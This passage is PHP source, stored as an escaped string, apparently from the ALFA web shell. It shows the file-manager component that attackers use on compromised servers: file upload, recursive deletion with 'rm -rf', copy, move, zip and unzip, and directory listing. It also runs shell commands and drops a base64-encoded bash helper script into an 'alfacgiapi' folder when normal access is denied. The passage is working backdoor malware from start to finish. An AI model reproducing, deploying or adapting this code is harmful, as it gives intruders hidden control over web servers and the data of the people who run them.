false;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn $check;\r\n}\r\nfunction _alfa_load_ace_options($base){\r\n\treturn '<span>Theme: <\/span><select class=\"ace-controler ace-theme-selector\" base=\"'.$base.'\" onChange=\"alfaAceChangeSetting(this,\\'theme\\');\"><option value=\"terminal\" selected>terminal<\/option><option value=\"ambiance\">ambiance<\/option><option value=\"chaos\">chaos<\/option><option value=\"chrome\">chrome<\/option><option value=\"clouds\">clouds<\/option><option value=\"clouds_midnight\">clouds_midnight<\/option><option value=\"cobalt\">cobalt<\/option><option value=\"crimson_editor\">crimson_editor<\/option><option value=\"dawn\">dawn<\/option><option value=\"dracula\">dracula<\/option><option value=\"dreamweaver\">dreamweaver<\/option><option value=\"eclipse\">eclipse<\/option><option value=\"github\">github<\/option><option value=\"gob\">gob<\/option><option value=\"gruvbox\">gruvbox<\/option><option value=\"idle_fingers\">idle_fingers<\/option><option value=\"iplastic\">iplastic<\/option><option value=\"katzenmilch\">katzenmilch<\/option><option value=\"kr_theme\">kr_theme<\/option><option value=\"kuroir\">kuroir<\/option><option value=\"merbivore\">merbivore<\/option><option value=\"merbivore_soft\">merbivore_soft<\/option><option value=\"mono_industrial\">mono_industrial<\/option><option value=\"monokai\">monokai<\/option><option value=\"nord_dark\">nord_dark<\/option><option value=\"pastel_on_dark\">pastel_on_dark<\/option><option value=\"solarized_dark\">solarized_dark<\/option><option value=\"solarized_light\">solarized_light<\/option><option value=\"sqlserver\">sqlserver<\/option><option value=\"textmate\">textmate<\/option><option value=\"tomorrow\">tomorrow<\/option><option value=\"tomorrow_night\">tomorrow_night<\/option><option value=\"tomorrow_night_blue\">tomorrow_night_blue<\/option><option value=\"tomorrow_night_bright\">tomorrow_night_bright<\/option><option value=\"tomorrow_night_eighties\">tomorrow_night_eighties<\/option><option value=\"twilight\">twilight<\/option><option value=\"vibrant_ink\">vibrant_ink<\/option><option value=\"xcode\">xcode<\/option><\/select><span>Language: <\/span><select class=\"ace-controler\" base=\"'.$base.'\" onChange=\"alfaAceChangeSetting(this,\\'lang\\');\"><option value=\"php\">php<\/option><option value=\"python\">python<\/option><option value=\"perl\">perl<\/option><option value=\"c_cpp\">c\/c++<\/option><option value=\"csharp\">c#<\/option><option value=\"ruby\">ruby<\/option><option value=\"html\">html<\/option><option value=\"javascript\">javascript<\/option><option value=\"css\">css<\/option><option value=\"xml\">xml<\/option><option value=\"sql\">sql<\/option><option value=\"swift\">swift<\/option><option value=\"sh\">bash<\/option><option value=\"lua\">lua<\/option><option value=\"powershell\">powershell<\/option><option value=\"jsp\">jsp<\/option><option value=\"java\">java<\/option><option value=\"json\">json<\/option><option value=\"plain_text\">plain_text<\/option><\/select><span>Soft Wrap: <\/span><input type=\"checkbox\" name=\"wrapmode\" class=\"ace-controler\" onClick=\"alfaAceChangeWrapMode(this,\\''.$base.'\\');\" checked> | <span>Font Size: <\/span><button class=\"ace-controler\" style=\"cursor:pointer;\" onclick=\"alfaAceChangeFontSize(\\''.$base.'\\',\\'+\\', this);return false;\">+<\/button> | <button style=\"cursor:pointer;\" class=\"ace-controler\" onclick=\"alfaAceChangeFontSize(\\''.$base.'\\', \\'-\\', this);return false;\">-<\/button> | ';\r\n}\r\nfunction alfaFilesMan2(){\r\n\talfahead();\r\n\tAlfaNum(8,9,10,7,6,5,4);\r\n\techo '<div style=\"position:relative;\" fm_id=\"1\" id=\"filesman_holder_1\" class=\"ajaxarea filesman-active-content\"><div class=\"header\"><\/div><\/div>';\r\n\talfaFooter();\r\n}\r\nfunction copy_paste($c,$s,$d){\r\nif(@is_dir($c.$s)){\r\n@mkdir($d.$s);\r\n$h = @opendir($c.$s);\r\nwhile (($f = @readdir($h)) !== false)\r\nif (($f != \".\") and ($f != \"..\"))\r\ncopy_paste($c.$s.'\/',$f, $d.$s.'\/');\r\n} elseif(is_file($c.$s))\r\n@copy($c.$s, $d.$s);\r\n}\r\nfunction alfaFilesMan(){\r\nif(!empty ($_COOKIE['alfa_f']))\r\n$_COOKIE['alfa_f'] = @unserialize($_COOKIE['alfa_f']);\r\nif(!empty($_POST['alfa1'])){\r\nswitch($_POST['alfa1']){\r\ncase 'uploadFile':\r\n$move_cmd_file = false;\r\n$alfa_canruncmd = false;\r\nif($GLOBALS['glob_chdir_false']){\r\n\t$alfa_canruncmd = _alfa_can_runCommand(true,true);\r\n\t$move_cmd_file = true;\r\n}\r\nif(_alfa_is_writable($GLOBALS['cwd'])){\r\n$files = reArrayFiles($_FILES['f']);\r\n$ret_files = array();\r\nforeach($files as $file){\r\nif($move_cmd_file&&$alfa_canruncmd){\r\n\talfaEx(\"cat '\".addslashes($file['tmp_name']).\"' > '\".addslashes($_POST[\"c\"].\"\/\".$file['name']).\"'\");\r\n}else{\r\n\tif(@move_uploaded_file($file['tmp_name'],$file['name'])){\r\n\t\t$ow = function_exists(\"posix_getpwuid\")&&function_exists(\"fileowner\")?@posix_getpwuid(@fileowner($file['name'])):array(\"name\" => \"????\");\r\n\t\t$gr = function_exists(\"posix_getgrgid\")&&function_exists(\"filegroup\")?@posix_getgrgid(@filegroup($file['name'])):array(\"name\" => \"????\");\r\n\t\t$file_owner = $ow['name']?$ow['name']:(function_exists(\"fileowner\")?@fileowner($file['name']):\"????\");\r\n\t\t$file_group = $gr['name']?$gr['name']:(function_exists(\"filegroup\")?@filegroup($file['name']):\"????\");\r\n\t\t$file_modify = @date('Y-m-d H:i:s', @filemtime($file['name']));\r\n\t\t$file_perm = alfaPermsColor($file['name']);\r\n\t\t$file_size = @filesize($file['name']);\r\n\t\t$ret_files[] = array(\"name\" => $file['name'], \"size\" => alfaSize($file_size), \"perm\" => $file_perm, \"modify\" => $file_modify, \"owner\" => $file_owner.\"\/\".$file_group);\r\n\t}\r\n}\r\n}\r\nif(!$move_cmd_file){\r\n\techo json_encode($ret_files);\r\n}\r\n}else{\r\n\techo \"noperm\";\r\n\treturn;\r\n}\r\nif(!$move_cmd_file){\r\nreturn;\r\n}\r\nbreak;\r\ncase 'mkdir':\r\n$new_dir_cmd = false;\r\nif($GLOBALS['glob_chdir_false']){\r\n\tif(_alfa_can_runCommand(true,true)){\r\n\t\tif(_alfa_is_writable($GLOBALS['cwd'])){\r\n\t\t\tif(!_alfa_is_dir(trim($_POST['alfa2']))){\r\n\t\t\t\talfaEx(\"cd '\".trim(addslashes($_POST['c'])).\"';mkdir '\".trim(addslashes($_POST['alfa2'])).\"'\");\r\n\t\t\t\techo \"<script>alfaShowNotification('\".addslashes($_POST['alfa2']).\" created...', 'Files manager');<\/script>\";\r\n\t\t\t}else{\r\n\t\t\t\techo \"<script>alfaShowNotification('folder already existed', 'Files manager', 'error');<\/script>\";\r\n\t\t\t}\r\n\t\t}else{\r\n\t\t\techo \"<script>alfaShowNotification('folder isnt writable !', 'Files manager', 'error');<\/script>\";\r\n\t\t}\r\n\t}else{\r\n\t\techo \"<script>alfaShowNotification('Can\\'t create new dir !', 'Files manager', 'error');<\/script>\";\r\n\t}\r\n}else{\r\n\tif(_alfa_is_writable($GLOBALS['cwd'])){\r\n\t\tif(!_alfa_is_dir(trim($_POST['alfa2']))){\r\n\t\t\tif(!@mkdir(trim($_POST['alfa2']))){\r\n\t\t\t\techo \"<script>alfaShowNotification('Can\\'t create new dir !', 'Files manager', 'error');<\/script>\";\r\n\t\t\t}else{\r\n\t\t\t\techo \"<script>alfaShowNotification('\".addslashes($_POST['alfa2']).\" created...', 'Files manager');<\/script>\";\r\n\t\t\t}\r\n\t\t}else{\r\n\t\t\techo \"<script>alfaShowNotification('folder already existed', 'Files manager', 'error');<\/script>\";\r\n\t\t}\r\n\t}else{\r\n\t\techo \"<script>alfaShowNotification('folder isnt writable !', 'Files manager', 'error');<\/script>\";\r\n\t}\r\n}\r\nbreak;\r\ncase 'delete':\r\nfunction deleteDir($path){\r\n$path = (substr($path,-1)=='\/') ? $path:$path.'\/';\r\n$dh = @opendir($path);\r\nwhile(($item = @readdir($dh)) !== false){\r\n$item = $path.$item;\r\nif((basename($item) == \"..\") || (basename($item) == \".\"))\r\ncontinue;\r\n$type = @filetype($item);\r\nif ($type == \"dir\")\r\ndeleteDir($item);\r\nelse\r\n@unlink($item);\r\n}\r\n@closedir($dh);\r\n@rmdir($path);\r\n}\r\nif(is_array(@$_POST['f']))\r\nforeach($_POST['f'] as $f){\r\nif($f == '..')\r\ncontinue;\r\n$f = rawurldecode($f);\r\nif($GLOBALS[\"glob_chdir_false\"]){\r\n\tif(_alfa_can_runCommand(true,true)){\r\n\t\talfaEx(\"rm -rf '\".addslashes($_POST['c'].'\/'.$f).\"'\");\r\n\t}\r\n}else{\r\nalfaEx(\"rm -rf '\".addslashes($f).\"'\",false,false);\r\nif(@is_dir($f))\r\ndeleteDir($f);\r\nelse\r\n@unlink($f);\r\n}\r\n}\r\nif(@is_dir(rawurldecode(@$_POST['alfa2']))&&rawurldecode(@$_POST['alfa2'])!='..'){\r\ndeleteDir(rawurldecode(@$_POST['alfa2']));\r\nalfaEx(\"rm -rf '\".addslashes($_POST['alfa2']).\"'\",false,false);\r\n}else{\r\n@unlink(rawurldecode(@$_POST['alfa2']));\r\n}\r\nif($GLOBALS[\"glob_chdir_false\"]){\r\n\t$source = rawurldecode(@$_POST['alfa2']);\r\n\tif($source!='..'&&!empty($source)){\r\n\t\tif(_alfa_can_runCommand(true,true)){\r\n\t\t\talfaEx(\"cd '\".trim(addslashes($_POST['c'])).\"';rm -rf '\".addslashes($source).\"'\");\r\n\t\t}\r\n\t}\r\n}\r\nif(is_array($_POST['f']))\r\nreturn;\r\nbreak;\r\ncase 'paste':\r\nif($_COOKIE['alfa_act'] == 'copy'&&isset($_COOKIE['alfa_f'])){\r\nforeach($_COOKIE['alfa_f'] as $f)\r\ncopy_paste($_COOKIE['alfa_c'],$f, $GLOBALS['cwd']);\r\n}elseif($_COOKIE['alfa_act'] == 'move'&&isset($_COOKIE['alfa_f'])){\r\nfunction move_paste($c,$s,$d){\r\nif(@is_dir($c.$s)){\r\n@mkdir($d.$s);\r\n$h = @opendir($c.$s);\r\nwhile (($f = @readdir($h)) !== false)\r\nif(($f != \".\") and ($f != \"..\"))\r\ncopy_paste($c.$s.'\/',$f, $d.$s.'\/');\r\n}elseif(@is_file($c.$s))\r\n@copy($c.$s, $d.$s);\r\n}\r\nforeach($_COOKIE['alfa_f'] as $f)\r\n@rename($_COOKIE['alfa_c'].$f, $GLOBALS['cwd'].$f);\r\n}elseif($_COOKIE['alfa_act'] == 'zip'&&isset($_COOKIE['alfa_f'])){\r\nif(class_exists('ZipArchive')){\r\n$zip = new ZipArchive();\r\n$zipX = \"alfa_\".rand(1,1000).\".zip\";\r\nif($zip->open($zipX, 1)){\r\n@chdir($_COOKIE['alfa_c']);\r\nforeach($_COOKIE['alfa_f'] as $f){\r\nif($f == '..')continue;\r\nif(@is_file($_COOKIE['alfa_c'].$f))\r\n$zip->addFile($_COOKIE['alfa_c'].$f, $f);\r\nelseif(@is_dir($_COOKIE['alfa_c'].$f)){\r\n$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'\/'));\r\nforeach($iterator as $key=>$value){\r\n$key = str_replace('\\\\','\/',realpath($key));\r\nif(@is_dir($key)){\r\nif(in_array(substr($key, strrpos($key,'\/')+1),array('.', '..')))continue;\r\n}else{$zip->addFile($key,$key);}}}}\r\n@chdir($GLOBALS['cwd']);\r\n$zip->close();\r\n__alert('>> '.$zipX.' << is created...');}}\r\n}elseif($_COOKIE['alfa_act'] == 'unzip'&&isset($_COOKIE['alfa_f'])){\r\nif(class_exists('ZipArchive')){\r\n$zip = new ZipArchive();\r\nforeach($_COOKIE['alfa_f'] as $f) {\r\nif($zip->open($_COOKIE['alfa_c'].$f)){\r\n$zip->extractTo($_COOKIE['alfa_cwd']);\r\n$zip->close();}}}}\r\nunset($_COOKIE['alfa_f']);\r\nbreak;\r\ndefault:\r\nif(!empty($_POST['alfa1'])){\r\nif(in_array($_POST['alfa1'], array(\"copy\", \"move\", \"zip\", \"unzip\"))){\r\n__alfa_set_cookie('alfa_act', @$_POST['alfa1']);\r\n__alfa_set_cookie('alfa_f', @serialize($_POST['f']));\r\n__alfa_set_cookie('alfa_c', @$_POST['c']);\r\nreturn;\r\n}\r\n}\r\nbreak;\r\n}\r\n}\r\n$dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);\r\nif(preg_match(\"#(.*)\\\/\\.\\.#\", $_POST['c'], $res)){\r\n\t$path = explode('\/', $res[1]);\r\n\tarray_pop($path);\r\n\t$_POST['c'] = implode('\/', $path);\r\n}\r\n$cmd_dir = false;\r\nif($dirContent === false){\r\n\tif(_alfa_can_runCommand(true,true)){\r\n\t\t$tmp_getdir_path = @$_COOKIE[\"alfachdir_bash_path\"];\r\n\t\t@chdir(dirname($_SERVER[\"SCRIPT_FILENAME\"]));\r\n\t\tif(!isset($_COOKIE[\"alfachdir_bash\"])||@!file_exists($tmp_getdir_path.\"\/alfacgiapi\/getdir.alfa\")){\r\n\t\t\t$bash = \"jZTfb5swEMef4a+4uaYkSmmS\/YpEwsOkqVNfO+1hSqKKggnWwI4MEaFppL3vv9xfUtsYSKpMWh6I7\/O9O9vcHVfvxrtCjJ8oGxep\/fX+IcBT+\/7ue4DdFXNtEqUc0BLZCRdAgTLAg6wALwQsfYdziLkN8rcNyzRAio0xRRrRBJZLwBSCANDtLYLra\/D2Mr5KaZSCIGGcUfZrCOv1HMqUMB3VJcOD1gO8BLBiw86DBhpoO6G2RVnCZURRhiV4ESDnznd++M433yl856c\/cULf+YLaLJa6n+u7+gzgCXWdUIiwhsViAQirbMi2ynpLAnzQynKyPurdeMWI6OjU0I3gu21H30tqFfS5j\/6gSM5jmtQd+2hit0TkbJd3\/NMJT3d5yDrls1EYqR571XWb1yALNBgApcFkLp8LfLjqfI6KjEYw7Av2JstIFu\/QWT6m1J8e\/\/7+05Qy5oy8PdNZuKxAU21zGV3zyXQ2m6G+vJbVXhVNlGJAkw\/FQm5X7eVDVPKxF5V00LXVmb1KFkaVTyVUraSYOGFnm0Q84yJAeUjZ40YQwvRRZUKSmXT\/FSo7tSR9aEEu+AgStx79abHqHf0SYipIVHJRn22kW0tpJ0fqYwTZ7LJQyM7OiL7uy8tlB5Jvy\/rfbkWdP\/GMRqCm6ML+OrA5tp7zwwqxMCcr5MNKTsEK3ch\/5WpIs1RQT4GhZq2wHgODzVphNQqGNksFm2kwuDWUYJrEKJ3VSrpdTkRjt7IuzYls7OONrZu4+Z4djmv0Cg==\";\r\n\t\t\t$tmp_getdir_path = alfaWriteTocgiapi(\"getdir.alfa\",$bash);\r\n\t\t\t__alfa_set_cookie(\"alfachdir_bash\", \"true\");\r\n\t\t\t__alfa_set_cookie(\"alfachdir_bash_path\", $tmp_getdir_path);\r\n\t\t}\r\n\t\t$dirContent = alfaEx(\"cd \".$tmp_getdir_path.\"\/alfacgiapi;sh getdir.alfa '\".addslashes(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']).\"'\");\r\n\t\t$dirContent = json_decode($dirContent, true);\r\n\t\tif(is_array($dirContent)){\r\n\t\t\tarray_pop($dirContent);\r\n\t\t\t$cmd_dir = true;\r\n\t\t}else{\r\n\t\t\t$dirContent = false;\r\n\t\t}\r\n\t}\r\n}\r\nalfahead();\r\nAlfaNum(8,9,10,7,6,5,4);\r\n$count_dirContent = @count($dirContent);\r\nif($count_dirContent > 300){\r\n\t@$_COOKIE[\"alfa_limited_files\"] = 100;\r\n}\r\n$alfa_sort_by = isset($_COOKIE[\"alfa_sort_by\"]) ? $_COOKIE[\"alfa_sort_by\"] : 'name';\r\n$alfa_limited_files = isset($_COOKIE[\"alfa_limited_files\"]) ? (int)$_COOKIE[\"alfa_limited_files\"] : 0;\r\n$alfa_files_page_number = isset($_POST[\"pagenum\"]) ? (int)$_POST[\"pagenum\"] : 1;\r\n$alfa_filesman_direction = isset($_COOKIE[\"alfa_filesman_direction\"]) ? $_COOKIE[\"alfa_filesman_direction\"] : 'asc';\r\n$files_page_count = 1;\r\nif($alfa_limited_files > 0){\r\n\t$files_page_count = ceil($count_dirContent\/$alfa_limited_files);\r\n\tif($files_page_count > 1){\r\n\t\t$files_page_count++;\r\n\t}\r\n}\r\necho '<div><div class=\"filters-holder\"><span>Filter: <\/span><input style=\"color:#25ff00;\" autocomplete=\"off\" type=\"text\" id=\"regex-filter\" name=\"name-filter\" onkeydown=\"doFilterName(this);\"><span style=\"margin-left:10px\">Sort By: <\/span><select name=\"sort_files\" onchange=\"sortBySelectedValue(this,\\'alfa_sort_by\\');\" style=\"color:#25ff00;\"><option value=\"name\" '.($alfa_sort_by == 'name'?'selected':'').'>Name<\/option><option value=\"size\" '.($alfa_sort_by == 'size'?'selected':'').'>Size<\/option><option value=\"modify\" '.($alfa_sort_by == 'modify'?'selected':'').'>Modify<\/option><\/select><span style=\"margin-left:10px\">Direction: <\/span><select name=\"direction_filesman\" onChange=\"sortBySelectedValue(this,\\'alfa_filesman_direction\\')\" style=\"color:#25ff00;\"><option value=\"asc\" '.($alfa_filesman_direction == 'asc'?'selected':'').'>Ascending<\/option><option value=\"desc\" '.($alfa_filesman_direction == 'desc'?'selected':'').'>Descending<\/option><\/select><span style=\"margin-left:10px;\"> limit: <\/span><input style=\"text-align:center;width: 40px;color:#25ff00;\" type=\"text\" name=\"limited_number\" value=\"'.$alfa_limited_files.'\" oninput=\"this.value=this.value.replace(\/[^0-9]\/g,\\'\\');setCookie(\\'alfa_limited_files\\', this.value, 2012);\"><span style=\"margin-left:10px;\">Files Count: <b style=\"color:#25ff00;\">'.($count_dirContent-1).'<\/b><\/span><\/div><div class=\"header\">';\r\nif($dirContent == false){\r\necho '<center><br><span style=\"font-size:16px;\"><span style=\"color: red; -webkit-text-shadow: 1px 1px 13px;\"><strong><b><big>!!! Access Denied !!!<\/b><\/big><br><br><\/strong><\/div>';\r\nalfaFooter();\r\nreturn;\r\n}\r\nglobal $sort;\r\n$sort = array('name', 1);\r\nif(isset($_COOKIE[\"alfa_sort_by\"]) && !empty($_COOKIE[\"alfa_sort_by\"])){\r\n\t$sort[0] = $_COOKIE[\"alfa_sort_by\"];\r\n}\r\nif(!empty($_POST['alfa1'])) {\r\nif(preg_match('!s_([A-z]+)_(\\d{1})!', $_POST['alfa1'], $match))\r\n$sort = array($match[1], (int)$match[2]);\r\n}\r\nif($alfa_files_page_number > ($files_page_count-1)){\r\n\t$alfa_files_page_number = 1;\r\n}\r\n$checkbox_rand = rand(11111, 99999);\r\necho \"<form onsubmit='fc(this);return false;' name='files' method='post'><table id='filemanager_table' width='100%' class='main' cellspacing='0' cellpadding='2'><tr><th width='13px'><div class='myCheckbox' style='padding-left:0px;'><input type='checkbox' id='mchk\".$checkbox_rand.\"' onclick='checkBox(this);' class='chkbx'><label for='mchk\".$checkbox_rand.\"'><\/label><\/div><\/th><th>Name<\/th><th>Size<\/th><th>Modify<\/th><th>Owner\/Group<\/th><th>Permissions<\/th><th>Actions<\/th><\/tr>\";\r\n$dirs = $files = array();\r\n$n = $count_dirContent;\r\nif($n > $alfa_limited_files && $alfa_limited_files > 0){\r\n\t$n = ($alfa_limited_files * $alfa_files_page_number);\r\n\tif($n > $count_dirContent){\r\n\t\t$n = $count_dirContent;\r\n\t}\r\n}\r\n$i = 0;\r\nif($alfa_limited_files > 0 && $alfa_files_page_number > 1){\r\n\t$i = $alfa_limited_files * ($alfa_files_page_number - 1);\r\n}\r\n$page_builder = get_pagination_links($alfa_files_page_number,$files_page_count -1);\r\n$cmd_dir_backp = \"\";\r\nfor(;$i<$n;$i++){\r\nif($cmd_dir){\r\n$filename = $dirContent[$i][\"name\"];\r\n$file_owner = $dirContent[$i][\"owner\"];\r\n$file_group = $dirContent[$i][\"group\"];\r\n$file_modify = @date('Y-m-d H:i:s', $dirContent[$i][\"modify\"]);\r\n$file_perm = alfaPermsColor(array(\"class\"=>$dirContent[$i][\"permcolor\"],\"num\"=>$dirContent[$i][\"permnum\"],\"human\"=>$dirContent[$i][\"permhuman\"]),true);\r\n$file_size = $dirContent[$i][\"size\"];\r\nif(substr($dirContent[$i][\"name\"], 0 ,1) == \"\/\"){\r\n$file_path = $dirContent[$i][\"name\"];\r\n$dirContent[$i][\"name\"] = \"..\";\r\n$filename = $dirContent[$i][\"name\"];\r\n}else{\r\n$file_path = $GLOBALS['cwd'].\"\/\".$dirContent[$i][\"name\"];\r\n}\r\n}else{\r\n$filename = $dirContent[$i];\r\n$ow = function_exists(\"posix_getpwuid\")&&function_exists(\"fileowner\")?@posix_getpwuid(@fileowner($GLOBALS['cwd'].$filename)):array(\"name\" => \"????\");\r\n$gr = function_exists(\"posix_getgrgid\")&&function_exists(\"filegroup\")?@posix_getgrgid(@filegroup($GLOBALS['cwd'].$filename)):array(\"name\" => \"????\");\r\n$file_owner = $ow['name']?$ow['name']:(function_exists(\"fileowner\")?@fileowner($GLOBALS['cwd'].$filename):\"????\");\r\n$file_group = $gr['name']?$gr['name']:(function_exists(\"filegroup\")?@filegroup($GLOBALS['cwd'].$filename):\"????\");\r\n$file_modify = @date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $filename));\r\n$file_perm = alfaPermsColor($GLOBALS['cwd'].$filename);\r\n$file_size = @filesize($GLOBALS['cwd'].$filename);\r\n$file_path = $GLOBALS['cwd'].$filename;\r\n}\r\n$tmp = array('name' => $filename,\r\n'path' => $file_path,\r\n'modify' => $file_modify,\r\n'perms' => $file_perm,\r\n'size' => $file_size,\r\n'owner' => $file_owner,\r\n'group' => $file_group\r\n);\r\nif($filename == \"..\" && !$cmd_dir){\r\n\t$tmp[\"path\"] = str_replace(\"\\\\\", \"\/\", realpath($file_path));\r\n}\r\nif(!$cmd_dir){\r\nif(@is_file($file_path)){\r\n$arr_mrg = array('type' => 'file');\r\nif(@is_link($file_path)){\r\n$arr_mrg[\"link\"] = readlink($tmp['path']);\r\n}\r\n$files[] = array_merge($tmp, $arr_mrg);\r\n}elseif(@is_link($file_path)){\r\n$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));\r\n}elseif(@is_dir($file_path)&& ($filename != \".\")){\r\n$dirs[] = array_merge($tmp, array('type' => 'dir'));\r\n}\r\n}else{\r\n\tif($dirContent[$i][\"type\"]==\"file\"){\r\n\t\t$files[] = array_merge($tmp, array('type' => 'file'));\r\n\t}else{\r\n\t\tif($dirContent[$i][\"name\"] != \".\"){\r\n\t\t\t$dirs[] = array_merge($tmp, array('type' => 'dir'));\r\n\t\t}\r\n\t}\r\n}\r\n}\r\n$GLOBALS['sort'] = $sort;\r\nfunction alfaCmp($a, $b) {\r\nif($GLOBALS['sort'][0] != 'size')\r\nreturn strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);\r\nelse\r\nreturn (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);\r\n}\r\nusort($files, \"alfaCmp\");\r\nusort($dirs, \"alfaCmp\");\r\nif(isset($_COOKIE[\"alfa_filesman_direction\"])&& !empty($_COOKIE[\"alfa_filesman_direction\"])){\r\n\tif($_COOKIE[\"alfa_filesman_direction\"] == 'desc'){\r\n\t\t$files = array_reverse($files);\r\n\t\t$dirs = array_reverse($dirs);\r\n\t}\r\n}\r\n$files = array_merge($dirs, $files);\r\n$l=0;\r\n$cc=0;\r\nforeach($files as $f){\r\n$f['name'] = htmlspecialchars($f['name']);\r\n$newname = mb_strlen($f['name'], 'UTF-8')>60?mb_substr($f['name'], 0, 60, 'utf-8').'...':$f['name'];\r\n$checkbox = 'checkbox_'.$checkbox_rand.$cc;\r\n$raw_name = rawurlencode($f['name']);\r\n$icon = $GLOBALS['DB_NAME']['show_icons']?'<img src=\"'.findicon($f['name'],$f['type']).'\" width=\"30\" height=\"30\">':'';\r\n$style = $GLOBALS['DB_NAME']['show_icons']?'position:relative;display:inline-block;bottom:12px;':'';\r\necho '<tr class=\"fmanager-row\" id=\"tr_row_'.$cc.'\"><td><div class=\"myCheckbox\"><input type=\"checkbox\" name=\"f[]\" value=\"'.$raw_name.'\" class=\"chkbx\" id=\"'.$checkbox .'\"><label for=\"'.$checkbox .'\"><\/label><\/div><\/td><td id=\"td_row_'.$cc.'\">'.$icon.'<div style=\"'.$style.'\"><a row=\"'.$cc.'\" id=\"id_'.$cc.'\" class=\"main_name\" onclick=\"'.(($f['type']=='file')?'editor(\\''.$raw_name.'\\',\\'auto\\',\\'\\',\\'\\',\\'\\',\\''.$f['type'].'\\');\" href=\"#action=fileman&path='.$GLOBALS['cwd'].'&file='.$raw_name.'\" fname=\"'.$raw_name.'\" ftype=\"file\" path=\"'.$GLOBALS['cwd'].'\" opt_title=\"'.$f['link'].'\" '.(isset($f['link'])?'onmouseover=\"showSymlinkPath(this,event);\" onmouseout=\"hideSymlinkPath(this,event);\"':'').'>'.($GLOBALS['cwd'].$f['name']==$GLOBALS['__file_path']?\"<span class='shell_name' style='font-weight:unset;'>\".$f['name'].\"<\/span>\":htmlspecialchars($newname)):'g(\\'FilesMan\\',\\''.$f['path'].'\\');\" href=\"#action=fileman&path='.$f['path'].'\" fname=\"'.$raw_name.'\" ftype=\"folder\" path=\"'.$GLOBALS['cwd'].'\" opt_title=\"'.$f['link'].'\" '.(isset($f['link'])?'onmouseover=\"showSymlinkPath(this,event);\" onmouseout=\"hideSymlinkPath(this,event);\"':'').'><b>| ' . htmlspecialchars($f['name']) . ' |<\/b>').'<\/a><\/td><\/div><td><span style=\"font-weight:unset;\" class=\"main_size\">'.(($f['type']=='file')?(isset($f['link'])?'[L] ':'').alfaSize($f['size']):$f['type']).'<\/span><\/td><td><span style=\"font-weight:unset;\" class=\"main_modify\">'.$f['modify'].'<\/span><\/td><td><span style=\"font-weight:unset;\" class=\"main_owner_group\">'.$f['owner'].'\/'.$f['group'].'<\/span><\/td><td><a id=\"id_chmode_'.$cc.'\" href=javascript:void(0) onclick=\"editor(\\''.$raw_name.'\\',\\'chmod\\',\\'\\',\\'\\',\\'\\',\\''.$f['type'].'\\')\">'.\r\n$f['perms'].'<\/td><td><a id=\"id_rename_'.$cc.'\" title=\"Rename\" class=\"actions\" href=\"javascript:void(0);\" onclick=\"editor(\\''.$raw_name.'\\', \\'rename\\',\\'\\',\\'\\',\\'\\',\\''.$f['type'].'\\')\">R<\/a> <a id=\"id_touch_'.$cc.'\" title=\"Modify Datetime\" class=\"actions\" href=\"javascript:void(0);\" onclick=\"editor(\\''.$raw_name.'\\', \\'touch\\',\\'\\',\\'\\',\\'\\',\\''.$f['type'].'\\')\">T<\/a>'.(($f['type']=='file')?' <a id=\"id_edit_'.$cc.'\" class=\"actions\" title=\"Edit\" href=\"javascript:void(0);\" onclick=\"editor(\\''.$raw_name.'\\', \\'edit\\',\\'\\',\\'\\',\\'\\',\\''.$f['type'].'\\')\">E<\/a> <a id=\"id_download_'.$cc.'\" title=\"Download\" class=\"actions\" href=\"javascript:void(0);\" onclick=\"g(\\'FilesTools\\',null,\\''.$raw_name.'\\', \\'download\\')\">D<\/a>':'').'<a id=\"id_delete_'.$cc.'\" title=\"Delete\" class=\"actions\" href=\"javascript:void(0);\" onclick=\"var chk = confirm(\\'Are You Sure For Delete # '.addslashes(rawurldecode($f['name'])).' # ?\\'); chk ? g(\\'FilesMan\\',null,\\'delete\\', \\''.$raw_name.'\\') : \\'\\';\"> X <\/a><\/td><\/tr>';\r\n$l = $l?0:1;\r\n$cc++;\r\n}\r\necho \"<tr id='filemanager_last_tr'><td colspan=7>\r\n<input type=hidden name=a value='FilesMan'>\r\n<input type=hidden name=c value='\".htmlspecialchars(($GLOBALS['glob_chdir_false']?$_POST['c']:$GLOBALS['cwd'])).\"'>\r\n<input type=hidden name=charset value='\". (isset($_POST['charset'])?$_POST['charset']:'').\"'>\r\n<select id='tools_selector' name='alfa1'><option value='copy'>Copy<\/option><option value='move'>Move<\/option><option value='delete' selected>Delete<\/option><option value='zip'>Add 2 Compress (zip)<\/option><option value='unzip'>Add 2 Uncompress (zip)<\/option><option value='paste'>Paste \/ Zip \/ Unzip <\/option><\/select>\r\n<input type='submit' value=' '>\r\n<\/form><\/table><div class='pages-holder'><div class='pages-number'>\".$page_builder.\"<\/div><\/div><\/div><\/div>\";\r\nalfafooter();\r\n}\r\nfunction get_pagination_links($current_page, $total_pages){\r\n $links = \"\";\r\n if ($total_pages >= 1 && $current_page <= $total_pages) {\r\n\t\t$links .= \"<a onclick=\\\"pageChangedFilesMan(this);\\\" class=\\\"page-number\\\"><<<\/a>\";\r\n\t\t$selected_page = \"\";\r\n\t\tif($current_page == 1){\r\n\t\t\t$selected_page = \" active-page-number\";\r\n\t\t}\r\n $links .= \"<a onclick=\\\"pageChangedFilesMan(this);\\\" class=\\\"page-number\".$selected_page.\"\\\">1<\/a>\";\r\n $i = max(2, $current_page - 5);\r\n if ($i > 2)\r\n $links .= \"<a class=\\\"page-number\\\">...<\/a>\";\r\n for (; $i < min($current_page + 6, $total_pages); $i++) {\r\n\t\t\tif($i == $current_page){\r\n\t\t\t\t$selected_page = \" active-page-number\";\r\n\t\t\t}else{\r\n\t\t\t\t$selected_page = \"\";\r\n\t\t\t}\r\n $links .= \"<a onclick=\\\"pageChangedFilesMan(this);\\\" class=\\\"page-number\".$selected_page.\"\\\">{$i}<\/a>\";\r\n }\r\n if ($i != $total_pages)\r\n $links .= \"<a class=\\\"page-number\\\">...<\/a>\";\r\n\t\t$selected_page = \" last-page-number\";\r\n\t\tif($current_page == $total_pages){\r\n\t\t\t$selected_page .= \" active-page-number\";\r\n\t\t}\r\n $links .= \"<a 